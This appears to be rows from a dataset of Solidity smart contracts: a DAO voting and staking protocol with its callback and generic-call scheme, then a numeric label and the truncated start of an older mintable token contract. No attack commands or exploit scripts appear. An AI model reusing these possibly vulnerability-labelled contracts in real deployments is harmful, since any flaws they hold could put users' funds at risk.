uint256 boostedVotePeriodLimit;
uint256 preBoostedVotePeriodLimit;
uint256 thresholdConst;
uint256 limitExponentValue;
uint256 quietEndingPeriod;
uint256 proposingRepReward;
uint256 votersReputationLossRatio;
uint256 minimumDaoBounty;
uint256 daoBountyConst;
uint256 activationTime;
address voteOnBehalf;
}
struct Voter {
uint256 vote;
uint256 reputation;
bool preBoosted;
}
struct Staker {
uint256 vote;
uint256 amount;
uint256 amount4Bounty;
}
struct Proposal {
bytes32 organizationId;
address callbacks;
ProposalState state;
uint256 winningVote;
address proposer;
uint256 currentBoostedVotePeriodLimit;
bytes32 paramsHash;
uint256 daoBountyRemain;
uint256 daoBounty;
uint256 totalStakes;
uint256 confidenceThreshold;
uint256 expirationCallBountyPercentage;
uint[3] times;
mapping(uint256 => uint256 ) votes;
mapping(uint256 => uint256 ) preBoostedVotes;
mapping(address => Voter ) voters;
mapping(uint256 => uint256 ) stakes;
mapping(address => Staker ) stakers;
}
event Stake(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _staker,
uint256 _vote,
uint256 _amount
);
event Redeem(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event RedeemDaoBounty(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event RedeemReputation(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event StateChange(bytes32 indexed _proposalId, ProposalState _proposalState);
event GPExecuteProposal(bytes32 indexed _proposalId, ExecutionState _executionState);
event ExpirationCallBounty(bytes32 indexed _proposalId, address indexed _beneficiary, uint256 _amount);
mapping(bytes32=>Parameters) public parameters;
mapping(bytes32=>Proposal) public proposals;
mapping(bytes32=>uint) public orgBoostedProposalsCnt;
mapping(bytes32 => address ) public organizations;
mapping(bytes32 => uint256 ) public averagesDownstakesOfBoosted;
uint256 constant public NUM_OF_CHOICES = 2;
uint256 constant public NO = 2;
uint256 constant public YES = 1;
uint256 public proposalsCnt;
IERC20 public stakingToken;
address constant private GEN_TOKEN_ADDRESS = 0x543Ff227F64Aa17eA132Bf9886cAb5DB55DCAddf;
uint256 constant private MAX_BOOSTED_PROPOSALS = 4096;
constructor(IERC20 _stakingToken) public {
if (address(GEN_TOKEN_ADDRESS).isContract()) {
stakingToken = IERC20(GEN_TOKEN_ADDRESS);
} else {
stakingToken = _stakingToken;
}
}
modifier votable(bytes32 _proposalId) {
require(_isVotable(_proposalId));
_;
}
function propose(uint256, bytes32 _paramsHash, address _proposer, address _organization)
external
returns(bytes32)
{
require(now > parameters[_paramsHash].activationTime, "not active yet");
require(parameters[_paramsHash].queuedVoteRequiredPercentage >= 50);
bytes32 proposalId = keccak256(abi.encodePacked(this, proposalsCnt));
proposalsCnt = proposalsCnt.add(1);
Proposal memory proposal;
proposal.callbacks = msg.sender;
proposal.organizationId = keccak256(abi.encodePacked(msg.sender, _organization));
proposal.state = ProposalState.Queued;
proposal.times[0] = now;
proposal.currentBoostedVotePeriodLimit = parameters[_paramsHash].boostedVotePeriodLimit;
proposal.proposer = _proposer;
proposal.winningVote = NO;
proposal.paramsHash = _paramsHash;
if (organizations[proposal.organizationId] == address(0)) {
if (_organization == address(0)) {
organizations[proposal.organizationId] = msg.sender;
} else {
organizations[proposal.organizationId] = _organization;
}
}
uint256 daoBounty =
parameters[_paramsHash].daoBountyConst.mul(averagesDownstakesOfBoosted[proposal.organizationId]).div(100);
if (daoBounty < parameters[_paramsHash].minimumDaoBounty) {
proposal.daoBountyRemain = parameters[_paramsHash].minimumDaoBounty;
} else {
proposal.daoBountyRemain = daoBounty;
}
proposal.totalStakes = proposal.daoBountyRemain;
proposals[proposalId] = proposal;
proposals[proposalId].stakes[NO] = proposal.daoBountyRemain;
Staker storage staker = proposals[proposalId].stakers[organizations[proposal.organizationId]];
staker.vote = NO;
staker.amount = proposal.daoBountyRemain;
emit NewProposal(proposalId, organizations[proposal.organizationId], NUM_OF_CHOICES, _proposer, _paramsHash);
return proposalId;
}
function executeBoosted(bytes32 _proposalId) external returns(uint256 expirationCallBounty) {
Proposal storage proposal = proposals[_proposalId];
require(proposal.state == ProposalState.Boosted);
require(_execute(_proposalId), "proposal need to expire");
uint256 expirationCallBountyPercentage =
(uint(1).add(now.sub(proposal.currentBoostedVotePeriodLimit.add(proposal.times[1])).div(15)));
if (expirationCallBountyPercentage > 100) {
expirationCallBountyPercentage = 100;
}
proposal.expirationCallBountyPercentage = expirationCallBountyPercentage;
expirationCallBounty = expirationCallBountyPercentage.mul(proposal.stakes[YES]).div(100);
require(stakingToken.transfer(msg.sender, expirationCallBounty), "transfer to msg.sender failed");
emit ExpirationCallBounty(_proposalId, msg.sender, expirationCallBounty);
}
function setParameters(
uint[11] calldata _params,
address _voteOnBehalf
)
external
returns(bytes32)
{
require(_params[0] <= 100 && _params[0] >= 50, "50 <= queuedVoteRequiredPercentage <= 100");
require(_params[4] <= 16000 && _params[4] > 1000, "1000 < thresholdConst <= 16000");
require(_params[7] <= 100, "votersReputationLossRatio <= 100");
require(_params[2] >= _params[5], "boostedVotePeriodLimit >= quietEndingPeriod");
require(_params[8] > 0, "minimumDaoBounty should be > 0");
require(_params[9] > 0, "daoBountyConst should be > 0");
bytes32 paramsHash = getParametersHash(_params, _voteOnBehalf);
uint256 limitExponent = 172;
uint256 j = 2;
for (uint256 i = 2000; i < 16000; i = i*2) {
if ((_params[4] > i) && (_params[4] <= i*2)) {
limitExponent = limitExponent/j;
break;
}
j++;
}
parameters[paramsHash] = Parameters({
queuedVoteRequiredPercentage: _params[0],
queuedVotePeriodLimit: _params[1],
boostedVotePeriodLimit: _params[2],
preBoostedVotePeriodLimit: _params[3],
thresholdConst:uint216(_params[4]).fraction(uint216(1000)),
limitExponentValue:limitExponent,
quietEndingPeriod: _params[5],
proposingRepReward: _params[6],
votersReputationLossRatio:_params[7],
minimumDaoBounty:_params[8],
daoBountyConst:_params[9],
activationTime:_params[10],
voteOnBehalf:_voteOnBehalf
});
return paramsHash;
}
function redeem(bytes32 _proposalId, address _beneficiary) public returns (uint[3] memory rewards) {
Proposal storage proposal = proposals[_proposalId];
require((proposal.state == ProposalState.Executed)||(proposal.state == ProposalState.ExpiredInQueue),
"Proposal should be Executed or ExpiredInQueue");
Parameters memory params = parameters[proposal.paramsHash];
uint256 lostReputation;
if (proposal.winningVote == YES) {
lostReputation = proposal.preBoostedVotes[NO];
} else {
lostReputation = proposal.preBoostedVotes[YES];
}
lostReputation = (lostReputation.mul(params.votersReputationLossRatio))/100;
Staker storage staker = proposal.stakers[_beneficiary];
if (staker.amount > 0) {
if (proposal.state == ProposalState.ExpiredInQueue) {
rewards[0] = staker.amount;
} else if (staker.vote == proposal.winningVote) {
uint256 totalWinningStakes = proposal.stakes[proposal.winningVote];
uint256 totalStakes = proposal.stakes[YES].add(proposal.stakes[NO]);
if (staker.vote == YES) {
uint256 _totalStakes =
((totalStakes.mul(100 - proposal.expirationCallBountyPercentage))/100) - proposal.daoBounty;
rewards[0] = (staker.amount.mul(_totalStakes))/totalWinningStakes;
} else {
rewards[0] = (staker.amount.mul(totalStakes))/totalWinningStakes;
if (organizations[proposal.organizationId] == _beneficiary) {
rewards[0] = rewards[0].sub(proposal.daoBounty);
}
}
}
staker.amount = 0;
}
Voter storage voter = proposal.voters[_beneficiary];
if ((voter.reputation != 0) && (voter.preBoosted)) {
if (proposal.state == ProposalState.ExpiredInQueue) {
rewards[1] = ((voter.reputation.mul(params.votersReputationLossRatio))/100);
} else if (proposal.winningVote == voter.vote) {
uint256 preBoostedVotes = proposal.preBoostedVotes[YES].add(proposal.preBoostedVotes[NO]);
rewards[1] = ((voter.reputation.mul(params.votersReputationLossRatio))/100)
.add((voter.reputation.mul(lostReputation))/preBoostedVotes);
}
voter.reputation = 0;
}
if ((proposal.proposer == _beneficiary)&&(proposal.winningVote == YES)&&(proposal.proposer != address(0))) {
rewards[2] = params.proposingRepReward;
proposal.proposer = address(0);
}
if (rewards[0] != 0) {
proposal.totalStakes = proposal.totalStakes.sub(rewards[0]);
require(stakingToken.transfer(_beneficiary, rewards[0]), "transfer to beneficiary failed");
emit Redeem(_proposalId, organizations[proposal.organizationId], _beneficiary, rewards[0]);
}
if (rewards[1].add(rewards[2]) != 0) {
VotingMachineCallbacksInterface(proposal.callbacks)
.mintReputation(rewards[1].add(rewards[2]), _beneficiary, _proposalId);
emit RedeemReputation(
_proposalId,
organizations[proposal.organizationId],
_beneficiary,
rewards[1].add(rewards[2])
);
}
}
function redeemDaoBounty(bytes32 _proposalId, address _beneficiary)
public
returns(uint256 redeemedAmount, uint256 potentialAmount) {
Proposal storage proposal = proposals[_proposalId];
require(proposal.state == ProposalState.Executed);
uint256 totalWinningStakes = proposal.stakes[proposal.winningVote];
Staker storage staker = proposal.stakers[_beneficiary];
if (
(staker.amount4Bounty > 0)&&
(staker.vote == proposal.winningVote)&&
(proposal.winningVote == YES)&&
(totalWinningStakes != 0)) {
potentialAmount = (staker.amount4Bounty * proposal.daoBounty)/totalWinningStakes;
}
if ((potentialAmount != 0)&&
(VotingMachineCallbacksInterface(proposal.callbacks)
.balanceOfStakingToken(stakingToken, _proposalId) >= potentialAmount)) {
staker.amount4Bounty = 0;
proposal.daoBountyRemain = proposal.daoBountyRemain.sub(potentialAmount);
require(
VotingMachineCallbacksInterface(proposal.callbacks)
.stakingTokenTransfer(stakingToken, _beneficiary, potentialAmount, _proposalId));
redeemedAmount = potentialAmount;
emit RedeemDaoBounty(_proposalId, organizations[proposal.organizationId], _beneficiary, redeemedAmount);
}
}
function shouldBoost(bytes32 _proposalId) public view returns(bool) {
Proposal memory proposal = proposals[_proposalId];
return (_score(_proposalId) > threshold(proposal.paramsHash, proposal.organizationId));
}
function threshold(bytes32 _paramsHash, bytes32 _organizationId) public view returns(uint256) {
uint256 power = orgBoostedProposalsCnt[_organizationId];
Parameters storage params = parameters[_paramsHash];
if (power > params.limitExponentValue) {
power = params.limitExponentValue;
}
return params.thresholdConst.pow(power);
}
function getParametersHash(
uint[11] memory _params,
address _voteOnBehalf
)
public
pure
returns(bytes32)
{
return keccak256(
abi.encodePacked(
keccak256(
abi.encodePacked(
_params[0],
_params[1],
_params[2],
_params[3],
_params[4],
_params[5],
_params[6],
_params[7],
_params[8],
_params[9],
_params[10])
),
_voteOnBehalf
));
}
function _execute(bytes32 _proposalId) internal votable(_proposalId) returns(bool) {
Proposal storage proposal = proposals[_proposalId];
Parameters memory params = parameters[proposal.paramsHash];
Proposal memory tmpProposal = proposal;
uint256 totalReputation =
VotingMachineCallbacksInterface(proposal.callbacks).getTotalReputationSupply(_proposalId);
uint256 executionBar = (totalReputation/100) * params.queuedVoteRequiredPercentage;
ExecutionState executionState = ExecutionState.None;
uint256 averageDownstakesOfBoosted;
uint256 confidenceThreshold;
if (proposal.votes[proposal.winningVote] > executionBar) {
if (proposal.state == ProposalState.Queued) {
executionState = ExecutionState.QueueBarCrossed;
} else if (proposal.state == ProposalState.PreBoosted) {
executionState = ExecutionState.PreBoostedBarCrossed;
} else {
executionState = ExecutionState.BoostedBarCrossed;
}
proposal.state = ProposalState.Executed;
} else {
if (proposal.state == ProposalState.Queued) {
if ((now - proposal.times[0]) >= params.queuedVotePeriodLimit) {
proposal.state = ProposalState.ExpiredInQueue;
proposal.winningVote = NO;
executionState = ExecutionState.QueueTimeOut;
} else {
confidenceThreshold = threshold(proposal.paramsHash, proposal.organizationId);
if (_score(_proposalId) > confidenceThreshold) {
proposal.state = ProposalState.PreBoosted;
proposal.times[2] = now;
proposal.confidenceThreshold = confidenceThreshold;
}
}
}
if (proposal.state == ProposalState.PreBoosted) {
confidenceThreshold = threshold(proposal.paramsHash, proposal.organizationId);
if ((now - proposal.times[2]) >= params.preBoostedVotePeriodLimit) {
if ((_score(_proposalId) > confidenceThreshold) &&
(orgBoostedProposalsCnt[proposal.organizationId] < MAX_BOOSTED_PROPOSALS)) {
proposal.state = ProposalState.Boosted;
proposal.times[1] = now;
orgBoostedProposalsCnt[proposal.organizationId]++;
averageDownstakesOfBoosted = averagesDownstakesOfBoosted[proposal.organizationId];
averagesDownstakesOfBoosted[proposal.organizationId] =
uint256(int256(averageDownstakesOfBoosted) +
((int256(proposal.stakes[NO])-int256(averageDownstakesOfBoosted))/
int256(orgBoostedProposalsCnt[proposal.organizationId])));
}
} else {
uint256 proposalScore = _score(_proposalId);
if (proposalScore <= proposal.confidenceThreshold.min(confidenceThreshold)) {
proposal.state = ProposalState.Queued;
} else if (proposal.confidenceThreshold > proposalScore) {
proposal.confidenceThreshold = confidenceThreshold;
}
}
}
}
if ((proposal.state == ProposalState.Boosted) ||
(proposal.state == ProposalState.QuietEndingPeriod)) {
if ((now - proposal.times[1]) >= proposal.currentBoostedVotePeriodLimit) {
proposal.state = ProposalState.Executed;
executionState = ExecutionState.BoostedTimeOut;
}
}
if (executionState != ExecutionState.None) {
if ((executionState == ExecutionState.BoostedTimeOut) ||
(executionState == ExecutionState.BoostedBarCrossed)) {
orgBoostedProposalsCnt[tmpProposal.organizationId] =
orgBoostedProposalsCnt[tmpProposal.organizationId].sub(1);
uint256 boostedProposals = orgBoostedProposalsCnt[tmpProposal.organizationId];
if (boostedProposals == 0) {
averagesDownstakesOfBoosted[proposal.organizationId] = 0;
} else {
averageDownstakesOfBoosted = averagesDownstakesOfBoosted[proposal.organizationId];
averagesDownstakesOfBoosted[proposal.organizationId] =
(averageDownstakesOfBoosted.mul(boostedProposals+1).sub(proposal.stakes[NO]))/boostedProposals;
}
}
emit ExecuteProposal(
_proposalId,
organizations[proposal.organizationId],
proposal.winningVote,
totalReputation
);
emit GPExecuteProposal(_proposalId, executionState);
ProposalExecuteInterface(proposal.callbacks).executeProposal(_proposalId, int(proposal.winningVote));
proposal.daoBounty = proposal.daoBountyRemain;
}
if (tmpProposal.state != proposal.state) {
emit StateChange(_proposalId, proposal.state);
}
return (executionState != ExecutionState.None);
}
function _stake(bytes32 _proposalId, uint256 _vote, uint256 _amount, address _staker) internal returns(bool) {
require(_vote <= NUM_OF_CHOICES && _vote > 0, "wrong vote value");
require(_amount > 0, "staking amount should be >0");
if (_execute(_proposalId)) {
return true;
}
Proposal storage proposal = proposals[_proposalId];
if ((proposal.state != ProposalState.PreBoosted) &&
(proposal.state != ProposalState.Queued)) {
return false;
}
Staker storage staker = proposal.stakers[_staker];
if ((staker.amount > 0) && (staker.vote != _vote)) {
return false;
}
uint256 amount = _amount;
require(stakingToken.transferFrom(_staker, address(this), amount), "fail transfer from staker");
proposal.totalStakes = proposal.totalStakes.add(amount);
staker.amount = staker.amount.add(amount);
require(staker.amount <= 0x100000000000000000000000000000000, "staking amount is too high");
require(proposal.totalStakes <= 0x100000000000000000000000000000000, "total stakes is too high");
if (_vote == YES) {
staker.amount4Bounty = staker.amount4Bounty.add(amount);
}
staker.vote = _vote;
proposal.stakes[_vote] = amount.add(proposal.stakes[_vote]);
emit Stake(_proposalId, organizations[proposal.organizationId], _staker, _vote, _amount);
return _execute(_proposalId);
}
function internalVote(bytes32 _proposalId, address _voter, uint256 _vote, uint256 _rep) internal returns(bool) {
require(_vote <= NUM_OF_CHOICES && _vote > 0, "0 < _vote <= 2");
if (_execute(_proposalId)) {
return true;
}
Parameters memory params = parameters[proposals[_proposalId].paramsHash];
Proposal storage proposal = proposals[_proposalId];
uint256 reputation = VotingMachineCallbacksInterface(proposal.callbacks).reputationOf(_voter, _proposalId);
require(reputation > 0, "_voter must have reputation");
require(reputation >= _rep, "reputation >= _rep");
uint256 rep = _rep;
if (rep == 0) {
rep = reputation;
}
if (proposal.voters[_voter].reputation != 0) {
return false;
}
proposal.votes[_vote] = rep.add(proposal.votes[_vote]);
if ((proposal.votes[_vote] > proposal.votes[proposal.winningVote]) ||
((proposal.votes[NO] == proposal.votes[proposal.winningVote]) &&
proposal.winningVote == YES)) {
if (proposal.state == ProposalState.Boosted &&
((now - proposal.times[1]) >= (params.boostedVotePeriodLimit - params.quietEndingPeriod))||
proposal.state == ProposalState.QuietEndingPeriod) {
if (proposal.state != ProposalState.QuietEndingPeriod) {
proposal.currentBoostedVotePeriodLimit = params.quietEndingPeriod;
proposal.state = ProposalState.QuietEndingPeriod;
}
proposal.times[1] = now;
}
proposal.winningVote = _vote;
}
proposal.voters[_voter] = Voter({
reputation: rep,
vote: _vote,
preBoosted:((proposal.state == ProposalState.PreBoosted) || (proposal.state == ProposalState.Queued))
});
if ((proposal.state == ProposalState.PreBoosted) || (proposal.state == ProposalState.Queued)) {
proposal.preBoostedVotes[_vote] = rep.add(proposal.preBoostedVotes[_vote]);
uint256 reputationDeposit = (params.votersReputationLossRatio.mul(rep))/100;
VotingMachineCallbacksInterface(proposal.callbacks).burnReputation(reputationDeposit, _voter, _proposalId);
}
emit VoteProposal(_proposalId, organizations[proposal.organizationId], _voter, _vote, rep);
return _execute(_proposalId);
}
function _score(bytes32 _proposalId) internal view returns(uint256) {
Proposal storage proposal = proposals[_proposalId];
return proposal.stakes[YES]/proposal.stakes[NO];
}
function _isVotable(bytes32 _proposalId) internal view returns(bool) {
ProposalState pState = proposals[_proposalId].state;
return ((pState == ProposalState.PreBoosted)||
(pState == ProposalState.Boosted)||
(pState == ProposalState.QuietEndingPeriod)||
(pState == ProposalState.Queued)
);
}
}
contract GenesisProtocol is IntVoteInterface, GenesisProtocolLogic {
using ECDSA for bytes32;
bytes32 public constant DELEGATION_HASH_EIP712 =
keccak256(abi.encodePacked(
"address GenesisProtocolAddress",
"bytes32 ProposalId",
"uint256 Vote",
"uint256 AmountToStake",
"uint256 Nonce"
));
mapping(address=>uint256) public stakesNonce;
constructor(IERC20 _stakingToken)
public
GenesisProtocolLogic(_stakingToken) {
}
function stake(bytes32 _proposalId, uint256 _vote, uint256 _amount) external returns(bool) {
return _stake(_proposalId, _vote, _amount, msg.sender);
}
function stakeWithSignature(
bytes32 _proposalId,
uint256 _vote,
uint256 _amount,
uint256 _nonce,
uint256 _signatureType,
bytes calldata _signature
)
external
returns(bool)
{
bytes32 delegationDigest;
if (_signatureType == 2) {
delegationDigest = keccak256(
abi.encodePacked(
DELEGATION_HASH_EIP712, keccak256(
abi.encodePacked(
address(this),
_proposalId,
_vote,
_amount,
_nonce)
)
)
);
} else {
delegationDigest = keccak256(
abi.encodePacked(
address(this),
_proposalId,
_vote,
_amount,
_nonce)
).toEthSignedMessageHash();
}
address staker = delegationDigest.recover(_signature);
require(staker != address(0), "staker address cannot be 0");
require(stakesNonce[staker] == _nonce);
stakesNonce[staker] = stakesNonce[staker].add(1);
return _stake(_proposalId, _vote, _amount, staker);
}
function vote(bytes32 _proposalId, uint256 _vote, uint256 _amount, address _voter)
external
votable(_proposalId)
returns(bool) {
Proposal storage proposal = proposals[_proposalId];
Parameters memory params = parameters[proposal.paramsHash];
address voter;
if (params.voteOnBehalf != address(0)) {
require(msg.sender == params.voteOnBehalf);
voter = _voter;
} else {
voter = msg.sender;
}
return internalVote(_proposalId, voter, _vote, _amount);
}
function cancelVote(bytes32 _proposalId) external votable(_proposalId) {
return;
}
function execute(bytes32 _proposalId) external votable(_proposalId) returns(bool) {
return _execute(_proposalId);
}
function getNumberOfChoices(bytes32) external view returns(uint256) {
return NUM_OF_CHOICES;
}
function getProposalTimes(bytes32 _proposalId) external view returns(uint[3] memory times) {
return proposals[_proposalId].times;
}
function voteInfo(bytes32 _proposalId, address _voter) external view returns(uint, uint) {
Voter memory voter = proposals[_proposalId].voters[_voter];
return (voter.vote, voter.reputation);
}
function voteStatus(bytes32 _proposalId, uint256 _choice) external view returns(uint256) {
return proposals[_proposalId].votes[_choice];
}
function isVotable(bytes32 _proposalId) external view returns(bool) {
return _isVotable(_proposalId);
}
function proposalStatus(bytes32 _proposalId) external view returns(uint256, uint256, uint256, uint256) {
return (
proposals[_proposalId].preBoostedVotes[YES],
proposals[_proposalId].preBoostedVotes[NO],
proposals[_proposalId].stakes[YES],
proposals[_proposalId].stakes[NO]
);
}
function getProposalOrganization(bytes32 _proposalId) external view returns(bytes32) {
return (proposals[_proposalId].organizationId);
}
function getStaker(bytes32 _proposalId, address _staker) external view returns(uint256, uint256) {
return (proposals[_proposalId].stakers[_staker].vote, proposals[_proposalId].stakers[_staker].amount);
}
function voteStake(bytes32 _proposalId, uint256 _vote) external view returns(uint256) {
return proposals[_proposalId].stakes[_vote];
}
function winningVote(bytes32 _proposalId) external view returns(uint256) {
return proposals[_proposalId].winningVote;
}
function state(bytes32 _proposalId) external view returns(ProposalState) {
return proposals[_proposalId].state;
}
function isAbstainAllow() external pure returns(bool) {
return false;
}
function getAllowedRangeOfChoices() external pure returns(uint256 min, uint256 max) {
return (YES, NO);
}
function score(bytes32 _proposalId) public view returns(uint256) {
return _score(_proposalId);
}
}
contract VotingMachineCallbacks is VotingMachineCallbacksInterface {
struct ProposalInfo {
uint256 blockNumber;
Avatar avatar;
address votingMachine;
}
modifier onlyVotingMachine(bytes32 _proposalId) {
require(msg.sender == proposalsInfo[_proposalId].votingMachine, "only VotingMachine");
_;
}
mapping(bytes32 => ProposalInfo ) public proposalsInfo;
function mintReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).mintReputation(_amount, _beneficiary, address(avatar));
}
function burnReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).burnReputation(_amount, _beneficiary, address(avatar));
}
function stakingTokenTransfer(
IERC20 _stakingToken,
address _beneficiary,
uint256 _amount,
bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).externalTokenTransfer(_stakingToken, _beneficiary, _amount, avatar);
}
function balanceOfStakingToken(IERC20 _stakingToken, bytes32 _proposalId) external view returns(uint256) {
Avatar avatar = proposalsInfo[_proposalId].avatar;
if (proposalsInfo[_proposalId].avatar == Avatar(0)) {
return 0;
}
return _stakingToken.balanceOf(address(avatar));
}
function getTotalReputationSupply(bytes32 _proposalId) external view returns(uint256) {
ProposalInfo memory proposal = proposalsInfo[_proposalId];
if (proposal.avatar == Avatar(0)) {
return 0;
}
return proposal.avatar.nativeReputation().totalSupplyAt(proposal.blockNumber);
}
function reputationOf(address _owner, bytes32 _proposalId) external view returns(uint256) {
ProposalInfo memory proposal = proposalsInfo[_proposalId];
if (proposal.avatar == Avatar(0)) {
return 0;
}
return proposal.avatar.nativeReputation().balanceOfAt(_owner, proposal.blockNumber);
}
}
contract GenericScheme is UniversalScheme, VotingMachineCallbacks, ProposalExecuteInterface {
event NewCallProposal(
address indexed _avatar,
bytes32 indexed _proposalId,
bytes _callData,
string _descriptionHash
);
event ProposalExecuted(
address indexed _avatar,
bytes32 indexed _proposalId,
bytes _genericCallReturnValue
);
event ProposalExecutedByVotingMachine(
address indexed _avatar,
bytes32 indexed _proposalId,
int256 _param
);
event ProposalDeleted(address indexed _avatar, bytes32 indexed _proposalId);
struct CallProposal {
bytes callData;
bool exist;
bool passed;
}
mapping(address=>mapping(bytes32=>CallProposal)) public organizationsProposals;
struct Parameters {
IntVoteInterface intVote;
bytes32 voteParams;
address contractToCall;
}
mapping(bytes32=>Parameters) public parameters;
function executeProposal(bytes32 _proposalId, int256 _decision)
external
onlyVotingMachine(_proposalId)
returns(bool) {
Avatar avatar = proposalsInfo[_proposalId].avatar;
CallProposal storage proposal = organizationsProposals[address(avatar)][_proposalId];
require(proposal.exist, "must be a live proposal");
require(proposal.passed == false, "cannot execute twice");
if (_decision == 1) {
proposal.passed = true;
execute(_proposalId);
} else {
delete organizationsProposals[address(avatar)][_proposalId];
emit ProposalDeleted(address(avatar), _proposalId);
}
emit ProposalExecutedByVotingMachine(address(avatar), _proposalId, _decision);
return true;
}
function execute(bytes32 _proposalId) public {
Avatar avatar = proposalsInfo[_proposalId].avatar;
Parameters memory params = parameters[getParametersFromController(avatar)];
CallProposal storage proposal = organizationsProposals[address(avatar)][_proposalId];
require(proposal.exist, "must be a live proposal");
require(proposal.passed, "proposal must passed by voting machine");
proposal.exist = false;
bytes memory genericCallReturnValue;
bool success;
ControllerInterface controller = ControllerInterface(Avatar(avatar).owner());
(success, genericCallReturnValue) = controller.genericCall(params.contractToCall, proposal.callData, avatar);
if (success) {
delete organizationsProposals[address(avatar)][_proposalId];
emit ProposalDeleted(address(avatar), _proposalId);
emit ProposalExecuted(address(avatar), _proposalId, genericCallReturnValue);
} else {
proposal.exist = true;
}
}
function setParameters(
bytes32 _voteParams,
IntVoteInterface _intVote,
address _contractToCall
) public returns(bytes32)
{
bytes32 paramsHash = getParametersHash(_voteParams, _intVote, _contractToCall);
parameters[paramsHash].voteParams = _voteParams;
parameters[paramsHash].intVote = _intVote;
parameters[paramsHash].contractToCall = _contractToCall;
return paramsHash;
}
function getParametersHash(
bytes32 _voteParams,
IntVoteInterface _intVote,
address _contractToCall
) public pure returns(bytes32)
{
return keccak256(abi.encodePacked(_voteParams, _intVote, _contractToCall));
}
function proposeCall(Avatar _avatar, bytes memory _callData, string memory _descriptionHash)
public
returns(bytes32)
{
Parameters memory params = parameters[getParametersFromController(_avatar)];
IntVoteInterface intVote = params.intVote;
bytes32 proposalId = intVote.propose(2, params.voteParams, msg.sender, address(_avatar));
organizationsProposals[address(_avatar)][proposalId] = CallProposal({
callData: _callData,
exist: true,
passed: false
});
proposalsInfo[proposalId] = ProposalInfo({
blockNumber:block.number,
avatar:_avatar,
votingMachine:address(params.intVote)
});
emit NewCallProposal(address(_avatar), proposalId, _callData, _descriptionHash);
return proposalId;
}
function getContractToCall(Avatar _avatar) public view returns(address) {
return parameters[getParametersFromController(_avatar)].contractToCall;
}
} | 1 | 3,457 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract FractionalERC20 is ERC20 {
uint public decimals;
}
contract StandardToken is ERC20 {
using SafeMath for uint;
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function isToken() public constant returns (bool weAre) {
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
using SafeMath for uint;
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state );
function mint(address receiver, uint amount) onlyMintAgent canMint public {
if(amount == 0) {
throw;
}
totalSupply = totalSupply.add(amount);
balances[receiver] = balances[receiver].add(amount);
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
modifier onlyMintAgent() {
if(!mintAgents[msg.sender]) {
throw;
}
_;
}
modifier canMint() {
if(mintingFinished) throw;
_;
}
